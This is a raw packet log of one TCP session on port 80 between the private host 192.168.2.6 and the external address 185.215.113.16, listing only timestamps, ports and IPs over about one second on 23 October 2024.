Oct 23, 2024 17:51:23.449939966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.449968100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.450071096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.450115919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.450117111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.469758034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.478029966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.491394997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.491415024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.491435051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.491449118 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.491450071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.491472960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.491632938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.491652012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.491669893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.491700888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.491703033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.491719961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.491728067 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.491791964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.532764912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.532784939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.532804012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.532835960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.532866001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.532905102 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.537128925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537149906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537168026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537184954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537201881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537213087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.537235975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.537333012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537349939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537390947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.537439108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537487030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.537497997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537517071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537533998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.537552118 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.538073063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538090944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538109064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538120985 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.538125992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538144112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538147926 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.538161993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538180113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538188934 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.538197994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538223028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.538743019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538760900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538779020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538799047 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.538814068 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.538830996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538847923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538865089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538878918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.538899899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.538923979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.567394972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.567425966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.567440033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.567480087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.567481041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.567501068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.567531109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.609000921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609077930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609101057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609105110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.609122038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609138966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609148026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.609155893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609174967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.609234095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609247923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609261036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609291077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.609328032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.609725952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.609788895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.610116005 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.650825977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.650856972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.650868893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.650914907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.654697895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.654725075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.654738903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.654750109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.654758930 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.654767990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.654772043 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.654808998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.654875994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.654978991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.654992104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655006886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655021906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655030966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.655055046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.655412912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655428886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655443907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655452013 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.655471087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655493021 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.655802965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655819893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655834913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655849934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.655857086 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.655884981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.656140089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.656188965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.656203032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.656215906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.656230927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.656248093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.656255007 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.656299114 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.656639099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.656668901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.656682014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.656718969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.685162067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.685185909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.685204029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.685215950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.685226917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.685270071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.685306072 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.726380110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.726396084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.726408005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.726492882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.726520061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.726532936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.726545095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.726557970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.726557970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.726589918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.726839066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.726851940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.726883888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.726979017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.727021933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.727031946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.727044106 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.727071047 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.768306971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.768326998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.768340111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.768394947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.772625923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.772690058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.772701979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.772711992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.772732019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.772743940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.772746086 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.772756100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.772768021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.772809982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.773050070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773062944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773073912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773099899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.773113966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.773116112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773130894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773169041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.773575068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773595095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773606062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773638964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.773658037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773670912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773683071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773694038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773699999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.773705006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.773721933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.773746967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.774405003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.774461985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.774472952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.774502993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.774514914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.774528980 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.774549961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.802624941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.802640915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.802660942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.802674055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.802687883 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.802689075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.802704096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.802728891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.843884945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.843903065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.843925953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.843934059 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.843936920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.843962908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.844044924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.844063044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.844074965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.844100952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.844120026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.844291925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.844305038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.844316959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.844342947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.844501019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.844522953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.844533920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.844540119 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.844592094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.885608912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.885648012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.885658979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.885689020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.889964104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.889987946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.889997959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890038013 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.890065908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890067101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.890079975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890094042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890106916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890120983 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.890121937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890155077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.890676975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890712976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890718937 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.890728951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890743017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890758991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.890759945 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.891182899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891220093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.891253948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891266108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891279936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891303062 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.891320944 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.891335964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891347885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891479015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.891832113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891887903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891900063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891911983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891928911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891940117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891948938 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.891953945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891963959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.891990900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.892016888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.892586946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.892627001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.892637968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.892680883 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.920314074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.920351982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.920362949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.920373917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.920386076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.920392036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.920398951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.920418024 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.920447111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.961850882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961869001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961879969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961889029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961904049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961915016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961915970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.961926937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961937904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961946011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.961951017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961962938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.961966991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.961983919 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.003345966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.003366947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.003381968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.003415108 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.003462076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.007539988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007574081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007586002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007606983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007618904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007622957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.007626057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007632971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007694960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.007850885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007891893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007903099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.007904053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.007935047 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.008030891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008094072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008105993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008117914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008138895 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.008163929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.008325100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008337975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008351088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008363008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008387089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.008405924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008411884 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.008776903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008796930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008807898 CEST	80	49763	185.215.113.16	192.168.2.6
